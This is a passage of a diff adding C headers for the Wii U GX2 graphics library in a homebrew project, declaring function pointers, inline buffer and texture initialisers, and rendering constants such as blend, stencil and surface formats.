extern void (* GX2CopyColorBufferToScanBuffer)(const GX2ColorBuffer *colorBuffer, s32 scan_target);
|
||||
extern void (* GX2SwapScanBuffers)(void);
|
||||
extern void (* GX2SetTVEnable)(s32 enable);
|
||||
extern void (* GX2SetSwapInterval)(u32 swap_interval);
|
||||
extern u32 (* GX2GetSwapInterval)(void);
|
||||
extern void (* GX2WaitForVsync)(void);
|
||||
extern void (* GX2CalcTVSize)(s32 tv_render_mode, s32 format, s32 buffering_mode, u32 * size, s32 * scale_needed);
|
||||
extern void (* GX2Invalidate)(s32 invalidate_type, void * ptr, u32 buffer_size);
|
||||
extern void (* GX2SetTVBuffer)(void *buffer, u32 buffer_size, s32 tv_render_mode, s32 format, s32 buffering_mode);
|
||||
extern void (* GX2CalcSurfaceSizeAndAlignment)(GX2Surface *surface);
|
||||
extern void (* GX2InitDepthBufferRegs)(GX2DepthBuffer *depthBuffer);
|
||||
extern void (* GX2InitColorBufferRegs)(GX2ColorBuffer *colorBuffer);
|
||||
extern void (* GX2CalcColorBufferAuxInfo)(GX2ColorBuffer *colorBuffer, u32 *size, u32 *align);
|
||||
extern void (* GX2CalcDepthBufferHiZInfo)(GX2DepthBuffer *depthBuffer, u32 *size, u32 *align);
|
||||
extern void (* GX2InitDepthBufferHiZEnable)(GX2DepthBuffer *depthBuffer, s32 hiZ_enable);
|
||||
extern void (* GX2SetupContextStateEx)(GX2ContextState* state, s32 enable_profiling);
|
||||
extern void (* GX2SetColorBuffer)(const GX2ColorBuffer *colorBuffer, s32 target);
|
||||
extern void (* GX2SetDepthBuffer)(const GX2DepthBuffer *depthBuffer);
|
||||
extern void (* GX2SetAttribBuffer)(u32 attr_index, u32 attr_size, u32 stride, const void* attr);
|
||||
extern void (* GX2InitTextureRegs)(GX2Texture *texture);
|
||||
extern void (* GX2InitSampler)(GX2Sampler *sampler, s32 tex_clamp, s32 min_mag_filter);
|
||||
extern u32 (* GX2CalcFetchShaderSizeEx)(u32 num_attrib, s32 fetch_shader_type, s32 tessellation_mode);
|
||||
extern void (* GX2InitFetchShaderEx)(GX2FetchShader* fs, void* fs_buffer, u32 count, const GX2AttribStream* attribs, s32 fetch_shader_type, s32 tessellation_mode);
|
||||
extern void (* GX2SetFetchShader)(const GX2FetchShader* fs);
|
||||
extern void (* GX2SetVertexUniformReg)(u32 offset, u32 count, const void *values);
|
||||
extern void (* GX2SetPixelUniformReg)(u32 offset, u32 count, const void *values);
|
||||
extern void (* GX2SetPixelTexture)(const GX2Texture *texture, u32 texture_hw_location);
|
||||
extern void (* GX2SetVertexTexture)(const GX2Texture *texture, u32 texture_hw_location);
|
||||
extern void (* GX2SetPixelSampler)(const GX2Sampler *sampler, u32 sampler_hw_location);
|
||||
extern void (* GX2SetVertexSampler)(const GX2Sampler *sampler, u32 sampler_hw_location);
|
||||
extern void (* GX2SetPixelShader)(const GX2PixelShader* pixelShader);
|
||||
extern void (* GX2SetVertexShader)(const GX2VertexShader* vertexShader);
|
||||
extern void (* GX2InitSamplerZMFilter)(GX2Sampler *sampler, s32 z_filter, s32 mip_filter);
|
||||
extern void (* GX2SetColorControl)(s32 lop, u8 blend_enable_mask, s32 enable_multi_write, s32 enable_color_buffer);
|
||||
extern void (* GX2SetDepthOnlyControl)(s32 enable_depth, s32 enable_depth_write, s32 depth_comp_function);
|
||||
extern void (* GX2SetBlendControl)(s32 target, s32 color_src_blend, s32 color_dst_blend, s32 color_combine, s32 separate_alpha_blend, s32 alpha_src_blend, s32 alpha_dst_blend, s32 alpha_combine);
|
||||
extern void (* GX2CalcDRCSize)(s32 drc_mode, s32 format, s32 buffering_mode, u32 *size, s32 *scale_needed);
|
||||
extern void (* GX2SetDRCBuffer)(void *buffer, u32 buffer_size, s32 drc_mode, s32 surface_format, s32 buffering_mode);
|
||||
extern void (* GX2SetDRCScale)(u32 width, u32 height);
|
||||
extern void (* GX2SetDRCEnable)(s32 enable);
|
||||
extern void (* GX2SetPolygonControl)(s32 front_face_mode, s32 cull_front, s32 cull_back, s32 enable_mode, s32 mode_font, s32 mode_back, s32 poly_offset_front, s32 poly_offset_back, s32 point_line_offset);
|
||||
extern void (* GX2SetCullOnlyControl)(s32 front_face_mode, s32 cull_front, s32 cull_back);
|
||||
extern void (* GX2SetDepthStencilControl)(s32 enable_depth_test, s32 enable_depth_write, s32 depth_comp_function, s32 stencil_test_enable, s32 back_stencil_enable,
|
||||
s32 font_stencil_func, s32 front_stencil_z_pass, s32 front_stencil_z_fail, s32 front_stencil_fail,
|
||||
s32 back_stencil_func, s32 back_stencil_z_pass, s32 back_stencil_z_fail, s32 back_stencil_fail);
|
||||
extern void (* GX2SetStencilMask)(u8 mask_front, u8 write_mask_front, u8 ref_front, u8 mask_back, u8 write_mask_back, u8 ref_back);
|
||||
extern void (* GX2SetLineWidth)(f32 width);
|
||||
extern void (* GX2SetTVGamma)(f32 val);
|
||||
extern void (* GX2SetDRCGamma)(f32 val);
|
||||
extern s32 (* GX2GetSystemTVScanMode)(void);
|
||||
extern s32 (* GX2GetSystemDRCScanMode)(void);
|
||||
extern void (* GX2RSetAllocator)(void * (*allocFunc)(u32, u32, u32), void (*freeFunc)(u32, void*));
|
||||
|
||||
static inline void GX2InitDepthBuffer(GX2DepthBuffer *depthBuffer, s32 dimension, u32 width, u32 height, u32 depth, s32 format, s32 aa)
|
||||
{
|
||||
depthBuffer->surface.dimension = dimension;
|
||||
depthBuffer->surface.width = width;
|
||||
depthBuffer->surface.height = height;
|
||||
depthBuffer->surface.depth = depth;
|
||||
depthBuffer->surface.num_mips = 1;
|
||||
depthBuffer->surface.format = format;
|
||||
depthBuffer->surface.aa = aa;
|
||||
depthBuffer->surface.use = ((format==GX2_SURFACE_FORMAT_D_D24_S8_UNORM) || (format==GX2_SURFACE_FORMAT_D_D24_S8_FLOAT)) ? GX2_SURFACE_USE_DEPTH_BUFFER : GX2_SURFACE_USE_DEPTH_BUFFER_TEXTURE;
|
||||
depthBuffer->surface.tile = GX2_TILE_MODE_DEFAULT;
|
||||
depthBuffer->surface.swizzle = 0;
|
||||
depthBuffer->view_mip = 0;
|
||||
depthBuffer->view_first_slice = 0;
|
||||
depthBuffer->view_slices_count = depth;
|
||||
depthBuffer->clear_depth = 1.0f;
|
||||
depthBuffer->clear_stencil = 0;
|
||||
depthBuffer->hiZ_data = NULL;
|
||||
depthBuffer->hiZ_size = 0;
|
||||
GX2CalcSurfaceSizeAndAlignment(&depthBuffer->surface);
|
||||
GX2InitDepthBufferRegs(depthBuffer);
|
||||
}
|
||||
|
||||
static inline void GX2InitColorBuffer(GX2ColorBuffer *colorBuffer, s32 dimension, u32 width, u32 height, u32 depth, s32 format, s32 aa)
|
||||
{
|
||||
colorBuffer->surface.dimension = dimension;
|
||||
colorBuffer->surface.width = width;
|
||||
colorBuffer->surface.height = height;
|
||||
colorBuffer->surface.depth = depth;
|
||||
colorBuffer->surface.num_mips = 1;
|
||||
colorBuffer->surface.format = format;
|
||||
colorBuffer->surface.aa = aa;
|
||||
colorBuffer->surface.use = GX2_SURFACE_USE_COLOR_BUFFER_TEXTURE_FTV;
|
||||
colorBuffer->surface.image_size = 0;
|
||||
colorBuffer->surface.image_data = NULL;
|
||||
colorBuffer->surface.mip_size = 0;
|
||||
colorBuffer->surface.mip_data = NULL;
|
||||
colorBuffer->surface.tile = GX2_TILE_MODE_DEFAULT;
|
||||
colorBuffer->surface.swizzle = 0;
|
||||
colorBuffer->surface.align = 0;
|
||||
colorBuffer->surface.pitch = 0;
|
||||
u32 i;
|
||||
for(i = 0; i < 13; i++)
|
||||
colorBuffer->surface.mip_offset[i] = 0;
|
||||
colorBuffer->view_mip = 0;
|
||||
colorBuffer->view_first_slice = 0;
|
||||
colorBuffer->view_slices_count = depth;
|
||||
colorBuffer->aux_data = NULL;
|
||||
colorBuffer->aux_size = 0;
|
||||
for(i = 0; i < 5; i++)
|
||||
colorBuffer->regs[i] = 0;
|
||||
|
||||
GX2CalcSurfaceSizeAndAlignment(&colorBuffer->surface);
|
||||
GX2InitColorBufferRegs(colorBuffer);
|
||||
}
|
||||
|
||||
static inline void GX2InitAttribStream(GX2AttribStream* attr, u32 location, u32 buffer, u32 offset, s32 format)
|
||||
{
|
||||
attr->location = location;
|
||||
attr->buffer = buffer;
|
||||
attr->offset = offset;
|
||||
attr->format = format;
|
||||
attr->index_type = 0;
|
||||
attr->divisor = 0;
|
||||
attr->destination_selector = attribute_dest_comp_selector[format & 0xff];
|
||||
attr->endian_swap = GX2_ENDIANSWAP_DEFAULT;
|
||||
}
|
||||
|
||||
static inline void GX2InitTexture(GX2Texture *tex, u32 width, u32 height, u32 depth, u32 num_mips, s32 format, s32 dimension, s32 tile)
|
||||
{
|
||||
tex->surface.dimension = dimension;
|
||||
tex->surface.width = width;
|
||||
tex->surface.height = height;
|
||||
tex->surface.depth = depth;
|
||||
tex->surface.num_mips = num_mips;
|
||||
tex->surface.format = format;
|
||||
tex->surface.aa = GX2_AA_MODE_1X;
|
||||
tex->surface.use = GX2_SURFACE_USE_TEXTURE;
|
||||
tex->surface.image_size = 0;
|
||||
tex->surface.image_data = NULL;
|
||||
tex->surface.mip_size = 0;
|
||||
tex->surface.mip_data = NULL;
|
||||
tex->surface.tile = tile;
|
||||
tex->surface.swizzle = 0;
|
||||
tex->surface.align = 0;
|
||||
tex->surface.pitch = 0;
|
||||
u32 i;
|
||||
for(i = 0; i < 13; i++)
|
||||
tex->surface.mip_offset[i] = 0;
|
||||
tex->view_first_mip = 0;
|
||||
tex->view_mips_count = num_mips;
|
||||
tex->view_first_slice = 0;
|
||||
tex->view_slices_count = depth;
|
||||
tex->component_selector = texture_comp_selector[format & 0x3f];
|
||||
for(i = 0; i < 5; i++)
|
||||
tex->regs[i] = 0;
|
||||
|
||||
GX2CalcSurfaceSizeAndAlignment(&tex->surface);
|
||||
GX2InitTextureRegs(tex);
|
||||
}
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif // __GX2_FUNCTIONS_H_
|
699
src/dynamic_libs/gx2_types.h
Normal file
699
src/dynamic_libs/gx2_types.h
Normal file
@ -0,0 +1,699 @@
|
||||
/****************************************************************************
|
||||
* Copyright (C) 2015
|
||||
* by Dimok
|
||||
*
|
||||
* This software is provided 'as-is', without any express or implied
|
||||
* warranty. In no event will the authors be held liable for any
|
||||
* damages arising from the use of this software.
|
||||
*
|
||||
* Permission is granted to anyone to use this software for any
|
||||
* purpose, including commercial applications, and to alter it and
|
||||
* redistribute it freely, subject to the following restrictions:
|
||||
*
|
||||
* 1. The origin of this software must not be misrepresented; you
|
||||
* must not claim that you wrote the original software. If you use
|
||||
* this software in a product, an acknowledgment in the product
|
||||
* documentation would be appreciated but is not required.
|
||||
*
|
||||
* 2. Altered source versions must be plainly marked as such, and
|
||||
* must not be misrepresented as being the original software.
|
||||
*
|
||||
* 3. This notice may not be removed or altered from any source
|
||||
* distribution.
|
||||
***************************************************************************/
|
||||
#ifndef _GX2_TYPES_H_
|
||||
#define _GX2_TYPES_H_
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
#include <gctypes.h>
|
||||
|
||||
//!-----------------------------------------------------------------------------------------------------------------------
|
||||
//! Constants
|
||||
//!-----------------------------------------------------------------------------------------------------------------------
|
||||
#define GX2_COMMAND_BUFFER_SIZE 0x400000
|
||||
#define GX2_SCAN_BUFFER_ALIGNMENT 0x1000
|
||||
#define GX2_SHADER_ALIGNMENT 0x100
|
||||
#define GX2_CONTEXT_STATE_ALIGNMENT 0x100
|
||||
#define GX2_DISPLAY_LIST_ALIGNMENT 0x20
|
||||
#define GX2_VERTEX_BUFFER_ALIGNMENT 0x40
|
||||
#define GX2_INDEX_BUFFER_ALIGNMENT 0x20
|
||||
|
||||
#define GX2_CONTEXT_STATE_SIZE 0xA100
|
||||
|
||||
#define GX2_AUX_BUFFER_CLEAR_VALUE 0xCC
|
||||
|
||||
//!-----------------------------------------------------------------------------------------------------------------------
|
||||
//! Common
|
||||
//!-----------------------------------------------------------------------------------------------------------------------
|
||||
#define GX2_FALSE 0
|
||||
#define GX2_TRUE 1
|
||||
#define GX2_DISABLE 0
|
||||
#define GX2_ENABLE 1
|
||||
|
||||
//!-----------------------------------------------------------------------------------------------------------------------
|
||||
//! GX2InitAttrib
|
||||
//!-----------------------------------------------------------------------------------------------------------------------
|
||||
#define GX2_INIT_ATTRIB_NULL 0
|
||||
#define GX2_INIT_ATTRIB_CB_BASE 1
|
||||
#define GX2_INIT_ATTRIB_CB_SIZE 2
|
||||
#define GX2_INIT_ATTRIB_ARGC 7
|
||||
#define GX2_INIT_ATTRIB_ARGV 8
|
||||
|
||||
//!-----------------------------------------------------------------------------------------------------------------------
|
||||
//! GX2 compare functions
|
||||
//!-----------------------------------------------------------------------------------------------------------------------
|
||||
#define GX2_COMPARE_NEVER 0
|
||||
#define GX2_COMPARE_LESS 1
|
||||
#define GX2_COMPARE_EQUAL 2
|
||||
#define GX2_COMPARE_LEQUAL 3
|
||||
#define GX2_COMPARE_GREATER 4
|
||||
#define GX2_COMPARE_NOTEQUAL 5
|
||||
#define GX2_COMPARE_GEQUAL 6
|
||||
#define GX2_COMPARE_ALWAYS 7
|
||||
|
||||
//!-----------------------------------------------------------------------------------------------------------------------
|
||||
//! GX2 stencil functions
|
||||
//!-----------------------------------------------------------------------------------------------------------------------
|
||||
#define GX2_STENCIL_KEEP 0
|
||||
#define GX2_STENCIL_ZERO 1
|
||||
#define GX2_STENCIL_REPLACE 2
|
||||
#define GX2_STENCIL_INCR 3
|
||||
#define GX2_STENCIL_DECR 4
|
||||
#define GX2_STENCIL_INVERT 5
|
||||
#define GX2_STENCIL_INCR_WRAP 6
|
||||
#define GX2_STENCIL_DECR_WRAP 7
|
||||
|
||||
//!-----------------------------------------------------------------------------------------------------------------------
|
||||
//! GX2 logic op functions
|
||||
//!-----------------------------------------------------------------------------------------------------------------------
|
||||
#define GX2_LOGIC_OP_CLEAR 0x00
|
||||
#define GX2_LOGIC_OP_NOR 0x11
|
||||
#define GX2_LOGIC_OP_INVAND 0x22
|
||||
#define GX2_LOGIC_OP_INVCOPY 0x33
|
||||
#define GX2_LOGIC_OP_REVAND 0x44
|
||||
#define GX2_LOGIC_OP_INV 0x55
|
||||
#define GX2_LOGIC_OP_XOR 0x66
|
||||
#define GX2_LOGIC_OP_NAND 0x77
|
||||
#define GX2_LOGIC_OP_AND 0x88
|
||||
#define GX2_LOGIC_OP_EQUIV 0x99
|
||||
#define GX2_LOGIC_OP_NOOP 0xAA
|
||||
#define GX2_LOGIC_OP_INVOR 0xBB
|
||||
#define GX2_LOGIC_OP_COPY 0xCC
|
||||
#define GX2_LOGIC_OP_REVOR 0xDD
|
||||
#define GX2_LOGIC_OP_OR 0xEE
|
||||
#define GX2_LOGIC_OP_SET 0xFF
|
||||
|
||||
//!-----------------------------------------------------------------------------------------------------------------------
|
||||
//! GX2 blend combination functions
|
||||
//!-----------------------------------------------------------------------------------------------------------------------
|
||||
#define GX2_BLEND_COMBINE_ADD 0x00
|
||||
#define GX2_BLEND_COMBINE_SRC_MINUS_DST 0x01
|
||||
#define GX2_BLEND_COMBINE_MIN 0x02
|
||||
#define GX2_BLEND_COMBINE_MAX 0x03
|
||||
#define GX2_BLEND_COMBINE_DST_MINUS_SRC 0x04
|
||||
|
||||
//!-----------------------------------------------------------------------------------------------------------------------
|
||||
//! GX2 blend functions
|
||||
//!-----------------------------------------------------------------------------------------------------------------------
|
||||
#define GX2_BLEND_ZERO 0x00
|
||||
#define GX2_BLEND_ONE 0x01
|
||||
#define GX2_BLEND_SRC_ALPHA 0x04
|
||||
#define GX2_BLEND_ONE_MINUS_SRC_ALPHA 0x05
|
||||
|
||||
//!-----------------------------------------------------------------------------------------------------------------------
|
||||
//! GX2 render targets
|
||||
//!-----------------------------------------------------------------------------------------------------------------------
|
||||
#define GX2_RENDER_TARGET_0 0
|
||||
#define GX2_RENDER_TARGET_1 1
|
||||
#define GX2_RENDER_TARGET_2 2
|
||||
#define GX2_RENDER_TARGET_3 3
|
||||
#define GX2_RENDER_TARGET_4 4
|
||||
#define GX2_RENDER_TARGET_5 5
|
||||
#define GX2_RENDER_TARGET_6 6
|
||||
#define GX2_RENDER_TARGET_7 7
|
||||
|
||||
//!-----------------------------------------------------------------------------------------------------------------------
|
||||
//! GX2 cull modes
|
||||
//!-----------------------------------------------------------------------------------------------------------------------
|
||||
#define GX2_FRONT_FACE_CCW 0
|
||||
#define GX2_FRONT_FACE_CW 1
|
||||
//!-----------------------------------------------------------------------------------------------------------------------
|
||||
//! GX2 polygon modes
|
||||
//!-----------------------------------------------------------------------------------------------------------------------
|
||||
#define GX2_POLYGON_MODE_POINT 0
|
||||
#define GX2_POLYGON_MODE_LINE 1
|
||||
#define GX2_POLYGON_MODE_TRIANGLE 2
|
||||
|
||||
//!-----------------------------------------------------------------------------------------------------------------------
|
||||
//! GX2 special states
|
||||
//!-----------------------------------------------------------------------------------------------------------------------
|
||||
#define GX2_SPECIAL_STATE_CLEAR 0
|
||||
#define GX2_SPECIAL_STATE_CLEAR_HIZ 1
|
||||
#define GX2_SPECIAL_STATE_COPY 2
|
||||
#define GX2_SPECIAL_STATE_EXPAND_COLOR 3
|
||||
#define GX2_SPECIAL_STATE_EXPAND_DEPTH 4
|
||||
#define GX2_SPECIAL_STATE_CONVERT_DEPTH 5
|
||||
#define GX2_SPECIAL_STATE_CONVERT_AADEPTH 6
|
||||
#define GX2_SPECIAL_STATE_RESOLVE_COLOR 7
|
||||
#define GX2_SPECIAL_STATE_CLEAR_COLOR_AS_DEPTH 8
|
||||
|
||||
//!-----------------------------------------------------------------------------------------------------------------------
|
||||
//! GX2 attribute formats
|
||||
//!-----------------------------------------------------------------------------------------------------------------------
|
||||
#define GX2_ATTRIB_FORMAT_8_UNORM 0x00000000
|
||||
#define GX2_ATTRIB_FORMAT_4_4_UNORM 0x00000001
|
||||
#define GX2_ATTRIB_FORMAT_16_UNORM 0x00000002
|
||||
#define GX2_ATTRIB_FORMAT_8_8_UNORM 0x00000004
|
||||
#define GX2_ATTRIB_FORMAT_16_16_UNORM 0x00000007
|
||||
#define GX2_ATTRIB_FORMAT_8_8_8_8_UNORM 0x0000000A
|
||||
#define GX2_ATTRIB_FORMAT_10_10_10_2_UNORM 0x0000000B
|
||||
#define GX2_ATTRIB_FORMAT_16_16_16_16_UNORM 0x0000000E
|
||||
|
||||
#define GX2_ATTRIB_FORMAT_8_UINT 0x00000100
|
||||
#define GX2_ATTRIB_FORMAT_16_UINT 0x00000102
|
||||
#define GX2_ATTRIB_FORMAT_8_8_UINT 0x00000104
|
||||
#define GX2_ATTRIB_FORMAT_32_UINT 0x00000105
|
||||
#define GX2_ATTRIB_FORMAT_16_16_UINT 0x00000107
|
||||
#define GX2_ATTRIB_FORMAT_8_8_8_8_UINT 0x0000010A
|
||||
#define GX2_ATTRIB_FORMAT_10_10_10_2_UINT 0x0000010B
|
||||
#define GX2_ATTRIB_FORMAT_32_32_UINT 0x0000010C
|
||||
#define GX2_ATTRIB_FORMAT_16_16_16_16_UINT 0x0000010E
|
||||
#define GX2_ATTRIB_FORMAT_32_32_32_UINT 0x00000110
|
||||
#define GX2_ATTRIB_FORMAT_32_32_32_32_UINT 0x00000112
|
||||
|
||||
#define GX2_ATTRIB_FORMAT_8_SNORM 0x00000200
|
||||
#define GX2_ATTRIB_FORMAT_16_SNORM 0x00000202
|
||||
#define GX2_ATTRIB_FORMAT_8_8_SNORM 0x00000204
|
||||
#define GX2_ATTRIB_FORMAT_16_16_SNORM 0x00000207
|
||||
#define GX2_ATTRIB_FORMAT_8_8_8_8_SNORM 0x0000020A
|
||||
#define GX2_ATTRIB_FORMAT_10_10_10_2_SNORM 0x0000020B
|
||||
#define GX2_ATTRIB_FORMAT_16_16_16_16_SNORM 0x0000020E
|
||||
|
||||
#define GX2_ATTRIB_FORMAT_8_SINT 0x00000300
|
||||
#define GX2_ATTRIB_FORMAT_16_SINT 0x00000303
|
||||
#define GX2_ATTRIB_FORMAT_8_8_SINT 0x00000304
|
||||
#define GX2_ATTRIB_FORMAT_32_SINT 0x00000305
|
||||
#define GX2_ATTRIB_FORMAT_16_16_SINT 0x00000307
|
||||
#define GX2_ATTRIB_FORMAT_8_8_8_8_SINT 0x0000030A
|
||||
#define GX2_ATTRIB_FORMAT_10_10_10_2_SINT 0x0000030B
|
||||
#define GX2_ATTRIB_FORMAT_32_32_SINT 0x0000030C
|
||||
#define GX2_ATTRIB_FORMAT_16_16_16_16_SINT 0x0000030E
|
||||
#define GX2_ATTRIB_FORMAT_32_32_32_SINT 0x00000310
|
||||
#define GX2_ATTRIB_FORMAT_32_32_32_32_SINT 0x00000312
|
||||
|
||||
#define GX2_ATTRIB_FORMAT_8_UINT_TO_FLOAT 0x00000800
|
||||
#define GX2_ATTRIB_FORMAT_16_UINT_TO_FLOAT 0x00000802
|
||||
#define GX2_ATTRIB_FORMAT_16_FLOAT 0x00000803
|
||||
#define GX2_ATTRIB_FORMAT_8_8_UINT_TO_FLOAT 0x00000804
|
||||
#define GX2_ATTRIB_FORMAT_32_FLOAT 0x00000806
|
||||
#define GX2_ATTRIB_FORMAT_16_16_UINT_TO_FLOAT 0x00000807
|
||||
#define GX2_ATTRIB_FORMAT_16_16_FLOAT 0x00000808
|
||||
#define GX2_ATTRIB_FORMAT_10_11_11_FLOAT 0x00000809
|
||||
#define GX2_ATTRIB_FORMAT_8_8_8_8_UINT_TO_FLOAT 0x0000080A
|
||||
#define GX2_ATTRIB_FORMAT_32_32_FLOAT 0x0000080D
|
||||
#define GX2_ATTRIB_FORMAT_16_16_16_16_UINT_TO_FLOAT 0x0000080E
|
||||
#define GX2_ATTRIB_FORMAT_16_16_16_16_FLOAT 0x0000080F
|
||||
#define GX2_ATTRIB_FORMAT_32_32_32_FLOAT 0x00000811
|
||||
#define GX2_ATTRIB_FORMAT_32_32_32_32_FLOAT 0x00000813
|
||||
|
||||
#define GX2_ATTRIB_FORMAT_8_SINT_TO_FLOAT 0x00000A00
|
||||
#define GX2_ATTRIB_FORMAT_16_SINT_TO_FLOAT 0x00000A02
|
||||
#define GX2_ATTRIB_FORMAT_8_8_SINT_TO_FLOAT 0x00000A04
|
||||
#define GX2_ATTRIB_FORMAT_16_16_SINT_TO_FLOAT 0x00000A07
|
||||
#define GX2_ATTRIB_FORMAT_8_8_8_8_SINT_TO_FLOAT 0x00000A0A
|
||||
#define GX2_ATTRIB_FORMAT_16_16_16_16_SINT_TO_FLOAT 0x00000A0E
|
||||
|
||||
//!-----------------------------------------------------------------------------------------------------------------------
|
||||
//! GX2 shader modes
|
||||
//!-----------------------------------------------------------------------------------------------------------------------
|
||||
#define GX2_SHADER_MODE_UNIFORM_REGISTER 0
|
||||
#define GX2_SHADER_MODE_UNIFORM_BLOCK 1
|
||||
#define GX2_SHADER_MODE_GEOMETRY_SHADER 2
|
||||
#define GX2_SHADER_MODE_COMPUTE_SHADER 3
|
||||
|
||||
//!-----------------------------------------------------------------------------------------------------------------------
|
||||
//! GX2 shader modes
|
||||
//!-----------------------------------------------------------------------------------------------------------------------
|
||||
#define GX2_COMP_SEL_NONE 0x04040405
|
||||
#define GX2_COMP_SEL_X001 0x00040405
|
||||
#define GX2_COMP_SEL_XY01 0x00010405
|
||||
#define GX2_COMP_SEL_XYZ1 0x00010205
|
||||
#define GX2_COMP_SEL_XYZW 0x00010203
|
||||
#define GX2_COMP_SEL_XXXX 0x00000000
|
||||
#define GX2_COMP_SEL_YYYY 0x01010101
|
||||
#define GX2_COMP_SEL_ZZZZ 0x02020202
|
||||
#define GX2_COMP_SEL_WWWW 0x03030303
|
||||
#define GX2_COMP_SEL_WZYX 0x03020100
|
||||
#define GX2_COMP_SEL_WXYZ 0x03000102
|
||||
|
||||
//!-----------------------------------------------------------------------------------------------------------------------
|
||||
//! GX2 variable types
|
||||
//!-----------------------------------------------------------------------------------------------------------------------
|
||||
#define GX2_VAR_TYPE_VOID 0
|
||||
#define GX2_VAR_TYPE_BOOL 1
|
||||
#define GX2_VAR_TYPE_INT 2
|
||||
#define GX2_VAR_TYPE_UINT 3
|
||||
#define GX2_VAR_TYPE_FLOAT 4
|
||||
#define GX2_VAR_TYPE_DOUBLE 5
|
||||
#define GX2_VAR_TYPE_VEC2 9
|
||||
#define GX2_VAR_TYPE_VEC3 10
|
||||
#define GX2_VAR_TYPE_VEC4 11
|
||||
#define GX2_VAR_TYPE_MAT2 21
|
||||
#define GX2_VAR_TYPE_MAT3 25
|
||||
#define GX2_VAR_TYPE_MAT4 29
|
||||
|
||||
//!-----------------------------------------------------------------------------------------------------------------------
|
||||
//! GX2 sample types
|
||||
//!-----------------------------------------------------------------------------------------------------------------------
|
||||
#define GX2_SAMPLER_TYPE_2D 1
|
||||
|
||||
|
||||
//!-----------------------------------------------------------------------------------------------------------------------
|
||||
//! GX2 index formats
|
||||
//!-----------------------------------------------------------------------------------------------------------------------
|
||||
#define GX2_INDEX_FORMAT_U16 4
|
||||
#define GX2_INDEX_FORMAT_U32 9
|
||||
|
||||
//!-----------------------------------------------------------------------------------------------------------------------
|
||||
//! GX2 primitive types
|
||||
//!-----------------------------------------------------------------------------------------------------------------------
|
||||
#define GX2_PRIMITIVE_POINTS 0x01
|
||||
#define GX2_PRIMITIVE_LINES 0x02
|
||||
#define GX2_PRIMITIVE_LINE_STRIP 0x03
|
||||
#define GX2_PRIMITIVE_TRIANGLES 0x04
|
||||
#define GX2_PRIMITIVE_TRIANGLE_FAN 0x05
|
||||
#define GX2_PRIMITIVE_TRIANGLE_STRIP 0x06
|
||||
#define GX2_PRIMITIVE_RECTS 0x11
|
||||
#define GX2_PRIMITIVE_QUADS 0x13
|
||||
#define GX2_PRIMITIVE_QUAD_STRIP 0x14
|
||||
|
||||
//!-----------------------------------------------------------------------------------------------------------------------
|
||||
//! GX2 clear modes
|
||||
//!-----------------------------------------------------------------------------------------------------------------------
|
||||
#define GX2_CLEAR_DEPTH 0x01
|
||||
#define GX2_CLEAR_STENCIL 0x02
|
||||
#define GX2_CLEAR_BOTH (GX2_CLEAR_DEPTH | GX2_CLEAR_STENCIL)
|
||||
|
||||
//!-----------------------------------------------------------------------------------------------------------------------
|
||||
//! GX2 surface formats
|
||||
//!-----------------------------------------------------------------------------------------------------------------------
|
||||
#define GX2_SURFACE_FORMAT_TC_R8_UNORM 0x00000001
|
||||
#define GX2_SURFACE_FORMAT_T_R4_G4_UNORM 0x00000002
|
||||
#define GX2_SURFACE_FORMAT_TCD_R16_UNORM 0x00000005
|
||||
#define GX2_SURFACE_FORMAT_TC_R8_G8_UNORM 0x00000007
|
||||
#define GX2_SURFACE_FORMAT_TCS_R5_G6_B5_UNORM 0x00000008
|
||||
#define GX2_SURFACE_FORMAT_TC_R5_G5_B5_A1_UNORM 0x0000000a
|
||||
#define GX2_SURFACE_FORMAT_TC_R4_G4_B4_A4_UNORM 0x0000000b
|
||||
#define GX2_SURFACE_FORMAT_TC_A1_B5_G5_R5_UNORM 0x0000000c
|
||||
#define GX2_SURFACE_FORMAT_TC_R16_G16_UNORM 0x0000000f
|
||||
#define GX2_SURFACE_FORMAT_D_D24_S8_UNORM 0x00000011
|
||||
#define GX2_SURFACE_FORMAT_T_R24_UNORM_X8 0x00000011
|
||||
#define GX2_SURFACE_FORMAT_TCS_R10_G10_B10_A2_UNORM 0x00000019
|
||||
#define GX2_SURFACE_FORMAT_TCS_R8_G8_B8_A8_UNORM 0x0000001a
|
||||
#define GX2_SURFACE_FORMAT_TCS_A2_B10_G10_R10_UNORM 0x0000001b
|
||||
#define GX2_SURFACE_FORMAT_TC_R16_G16_B16_A16_UNORM 0x0000001f
|
||||
#define GX2_SURFACE_FORMAT_T_BC1_UNORM 0x00000031
|
||||
#define GX2_SURFACE_FORMAT_T_BC2_UNORM 0x00000032
|
||||
#define GX2_SURFACE_FORMAT_T_BC3_UNORM 0x00000033
|
||||
#define GX2_SURFACE_FORMAT_T_BC4_UNORM 0x00000034
|
||||
#define GX2_SURFACE_FORMAT_T_BC5_UNORM 0x00000035
|
||||
#define GX2_SURFACE_FORMAT_T_NV12_UNORM 0x00000081
|
||||
|
||||
#define GX2_SURFACE_FORMAT_TC_R8_UINT 0x00000101
|
||||
#define GX2_SURFACE_FORMAT_TC_R16_UINT 0x00000105
|
||||
#define GX2_SURFACE_FORMAT_TC_R8_G8_UINT 0x00000107
|
||||
#define GX2_SURFACE_FORMAT_TC_R32_UINT 0x0000010d
|
||||
#define GX2_SURFACE_FORMAT_TC_R16_G16_UINT 0x0000010f
|
||||
#define GX2_SURFACE_FORMAT_T_X24_G8_UINT 0x00000111
|
||||
#define GX2_SURFACE_FORMAT_TC_R10_G10_B10_A2_UINT 0x00000119
|
||||
#define GX2_SURFACE_FORMAT_TC_R8_G8_B8_A8_UINT 0x0000011a
|
||||
#define GX2_SURFACE_FORMAT_TC_A2_B10_G10_R10_UINT 0x0000011b
|
||||
#define GX2_SURFACE_FORMAT_T_X32_G8_UINT_X24 0x0000011c
|
||||
#define GX2_SURFACE_FORMAT_TC_R32_G32_UINT 0x0000011d
|
||||
#define GX2_SURFACE_FORMAT_TC_R16_G16_B16_A16_UINT 0x0000011f
|
||||
#define GX2_SURFACE_FORMAT_TC_R32_G32_B32_A32_UINT 0x00000122
|
||||
|
||||
#define GX2_SURFACE_FORMAT_TC_R8_SNORM 0x00000201
|
||||
#define GX2_SURFACE_FORMAT_TC_R16_SNORM 0x00000205
|
||||
#define GX2_SURFACE_FORMAT_TC_R8_G8_SNORM 0x00000207
|
||||
